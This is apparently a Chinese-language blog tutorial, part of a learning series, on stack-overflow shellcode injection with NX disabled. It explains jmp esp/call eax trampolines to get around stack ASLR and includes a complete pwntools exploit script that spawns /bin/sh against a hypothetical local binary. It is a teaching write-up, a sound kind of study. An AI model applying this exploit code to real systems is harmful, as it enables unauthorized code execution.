【学习记录】Week3(二):栈上狂欢——Shellcode 注入与 jmp esp/call eax 跳转实战
写在前面在上一篇中我们通过ret2win成功跳进了程序自带的现成后门。但如果程序里没有后门函数呢这时候我们就必须“自带干粮”——把一段机器码Shellcode注入到程序的内存中然后想方设法让 EIP/RIP 跳过去执行它。本文将带你解开 NX 保护关闭时的栈上 Shellcode 注入之谜并深入讲解最经典的jmp esp跳转技术。 目录前提条件什么时候能打 Shellcode核心痛点栈地址随机化ASLR带来的跳转困境破局之法jmp esp / call eax 类跳转指令实战推演32 位下的 jmp esp 注入全流程64 位下的演变jmp rsp 与寄存器传参1. 前提条件什么时候能打 Shellcode打栈上 Shellcode 的唯一硬性前提是NX不可执行保护必须关闭。当checksec查出程序具有NX disabled或栈溢出保护未开启时意味着内存页的权限是rwx可读可写可执行。我们写入栈中的机器码CPU 可以直接将其作为指令执行。如果 NX 开启栈是rw-你写进去一执行就会触发段错误。2. 核心痛点栈地址随机化ASLR带来的跳转困境假设 NX 关闭我们通过溢出把 Shellcode 放在了栈上的buf数组里。现在的问题是如何让 EIP 指向它最直观的想法是用 GDB 查到buf的栈地址比如0xffffcd40然后把它作为返回地址覆盖上去。痛点所在一旦系统开启了 ASLR栈的基址每次运行都在变。你在 GDB 里查到的0xffffcd40在真实运行时可能变成了0xffffd1a0。硬编码栈地址大概率会跳转到非法内存导致崩溃。3. 破局之法jmp esp / call eax 类跳转指令既然硬编码地址不行我们需要一种动态定位的方法。此时我们要观察ret指令执行前后的寄存器状态。32 位系统中的奇妙现象当函数执行ret指令时等价于pop eip。ESP栈顶指针原本指向被覆盖的返回地址。CPU 把这个返回地址弹入EIP同时ESP ESP 4。此时ESP恰好指向了返回地址正后方的内存如果我们把 Shellcode 放在返回地址的后面并且让返回地址指向一条jmp esp的机器码。那么ret执行完毕后EIP跳到了jmp esp紧接着 CPU 就会执行ESP指向的内存——也就是我们的 Shellcode如何找jmp espjmp esp的机器码是\xff\xe4。我们可以在程序自身或它加载的动态库如libc中搜索这两个字节。假设性说明模拟命令行查找使用 pwntools 或 ROPgadget 搜索ROPgadget --binary vuln --only jmp|call | grep esp模拟输出0x0804854b : jmp esp太好了我们找到了一个固定地址0x0804854b。即使有 ASLR程序自身的代码段除非开了 PIE地址也是固定的。同理如果是call eax机器码\xff\xd0通常是因为eax寄存器恰好存放了 Shellcode 的地址原理同上。4. 实战推演32 位下的 jmp esp 注入全流程假设性场景32 位程序vulnNX 关闭未开启 PIE。偏移量为 28。存在jmp esp地址0x0804854b。栈结构设计低地址 | buf[28] (28字节填充) | | 0x0804854b (jmp esp) | - 覆盖的返回地址 | Shellcode (/exec/sh) | - ESP 此时指向这里jmp esp 后开始执行 高地址编写 Exploit (Pwntools)from pwn import * context.arch i386 # 32位环境 context.log_level debug p process(./vuln) # 1. 准备填充和 jmp esp 地址 offset 28 jmp_esp_addr 0x0804854b # 2. 生成 shellcode (pwntools自带) # shellcraft.sh() 会生成一段调用 /bin/sh 的汇编机器码 shellcode asm(shellcraft.sh()) # 3. 构造 Payload # 结构填充 jmp_esp地址 shellcode payload bA * offset p32(jmp_esp_addr) shellcode p.sendline(payload) p.interactive()模拟终端输出[] Starting local process ./vuln: pid 54321 [*] Switching to interactive mode $ id uid1000(user) gid1000(user) groups1000(user)成功执行我们不再关心 Shellcode 的绝对地址是多少全靠ESP寄存器这个“向导”带我们找到它。5. 64 位下的演变jmp rsp 与寄存器传参在 64 位系统中原理完全一致只是寄存器名字变了ESP变成了RSP我们需要找的是jmp rsp机器码\xff\xe4和jmp esp机器码一样。但是 64 位有一个致命坑点传参方式的改变。32 位的shellcraft.sh()是通过栈传参调用execve。而 64 位必须通过寄存器传参rdi,rsi,rdx。如果你直接用 64 位的shellcraft.sh()它生成的汇编代码中可能会包含\x00等坏字符因为 64 位地址前导零很多或者因为没有正确设置寄存器而崩溃。因此在 64 位下进行纯 Shellcode 注入时通常需要寻找jmp rspgadget。手写或调整一段无坏字符的 Shellcode确保rdi指向/bin/shrsi和rdx置 0然后调用syscall。这部分内容我们将在下一篇“手写基础 Shellcode”中详细拆解。6. 总结jmp esp或jmp rsp是栈溢出 Shellcode 注入中最经典、最优雅的手法。它巧妙利用了ret指令执行后栈指针的天然位置完美绕过了栈地址随机化ASLR的阻碍。只要能在没开 PIE 的程序里找到这宝贵的两个字节一段 Shellcode 就能瞬间苏醒。下一篇我们将深入底层教你如何从零手写一段极简的 x86/x64 Shellcode彻底告别对工具自动生成的依赖。如果本文对你有帮助请点赞收藏支持

相关新闻

链路追踪——微服务的“行车记录仪“

链路追踪——微服务的“行车记录仪“

第337篇:链路追踪——微服务的"行车记录仪" 你有没有用过滴滴打车? 生活场景:滴滴打车的追踪 你叫了一辆车: 你看到:司机在哪里、距离你多远、预计多久到 司机看到:你的位置、目的地、导航路线 平台看到:整条链路的状态 如果出了问题: 你打电话给客服:“…

2026/6/30 23:41:43阅读更多 →
从“能签”到“智签”,从工具到中枢,行业正在经历深层重构

从“能签”到“智签”,从工具到中枢,行业正在经历深层重构

前言 过去五年,电子合同行业完成了从“0 到 1”的拓荒期,市场教育和用户普及基本到位。但坦率地说,早期发展更多停留在“能用”层面——把纸质流程搬到线上,解决签署效率这个最朴素的痛点。 进入 2026 年,一些更深层…

2026/6/30 23:41:43阅读更多 →
如何为PPT添加编辑限制密码?图文详解设置与移除方法

如何为PPT添加编辑限制密码?图文详解设置与移除方法

不知道有没有朋友发现,按照word限制编辑的设置方法,想要对PPT文件同样设置限制编辑,但是设置完之后,还是可以编辑文件,那么该如何对文件设置真的可以限制PPT编辑呢?今天这篇文章将以图文形式为大家介绍可以…

2026/6/30 23:41:43阅读更多 →
Kinovea开源视频分析软件:从动作捕捉到精准测量的完整解决方案

Kinovea开源视频分析软件:从动作捕捉到精准测量的完整解决方案

Kinovea开源视频分析软件:从动作捕捉到精准测量的完整解决方案 【免费下载链接】Kinovea Video solution for sport analysis. Capture, inspect, compare, annotate and measure technical performances. 项目地址: https://gitcode.com/gh_mirrors/ki/Kinovea …

2026/7/1 0:56:50阅读更多 →
Dism++终极指南:Windows系统清理与备份的完整解决方案

Dism++终极指南:Windows系统清理与备份的完整解决方案

Dism终极指南:Windows系统清理与备份的完整解决方案 【免费下载链接】Dism-Multi-language Dism Multi-language Support & BUG Report 项目地址: https://gitcode.com/gh_mirrors/di/Dism-Multi-language Dism是一款免费开源的Windows系统维护工具&…

2026/7/1 0:56:50阅读更多 →
Doris部署与核心使用指南:从零构建实时分析数据仓库

Doris部署与核心使用指南:从零构建实时分析数据仓库

如果你在数据仓库选型时,还在为“既要实时分析,又要支持高并发点查”这个看似矛盾的需求而头疼,那么Doris的出现,可能意味着你不需要再做出妥协。它不是一个简单的MySQL替代品,也不是一个纯粹的离线数仓,而…

2026/7/1 0:56:50阅读更多 →
物理信息神经网络PINNs求解欧拉-伯努利(Euler-Bernoulli)双梁正问题 【 torch 实战】(Python代码实现)

物理信息神经网络PINNs求解欧拉-伯努利(Euler-Bernoulli)双梁正问题 【 torch 实战】(Python代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 &#x1f381…

2026/7/1 0:56:50阅读更多 →
5分钟快速上手Mate Engine:打造你的免费虚拟桌面伙伴终极指南

5分钟快速上手Mate Engine:打造你的免费虚拟桌面伙伴终极指南

5分钟快速上手Mate Engine:打造你的免费虚拟桌面伙伴终极指南 【免费下载链接】Mate-Engine A free Desktop Mate alternative with a lightweight interface and custom VRM support, though with more features. 项目地址: https://gitcode.com/gh_mirrors/ma/M…

2026/7/1 0:56:50阅读更多 →
iOS应用砸壳实战指南:从原理到工具选型与环境配置

iOS应用砸壳实战指南:从原理到工具选型与环境配置

1. 项目概述:为什么我们需要“砸壳”?在iOS开发和安全研究领域,“砸壳”是一个绕不开的核心技能。简单来说,iOS App Store上架的应用,都会被苹果加上一层“保护壳”,这层壳就是FairPlay DRM加密&#xff0c…

2026/7/1 0:51:50阅读更多 →
AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

6个月前的2025年12月,Boris Cherny 公开宣布自己卸载了 IDE。一时间,Vibe Coding 成了全行业最热的话题。6个月后,当我们回过头来拉一份真实账本,发现事情远没有"一句话生成一个App"那么浪漫。本文从产品经理和研发两个…

2026/6/30 4:03:30阅读更多 →
审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

引言:审计结束三个月了,审计员的权限还没关某城商行每年按照监管要求开展至少一次数据安全审计。审计期间,内审部门需要抽样检查各类业务数据——交易流水、客户信息、员工操作日志、权限配置记录。这些数据分布在不同系统中,审计…

2026/6/30 4:36:27阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/1 0:01:44阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/1 0:01:44阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/1 0:01:44阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/1 0:01:44阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/1 0:01:44阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/1 0:01:44阅读更多 →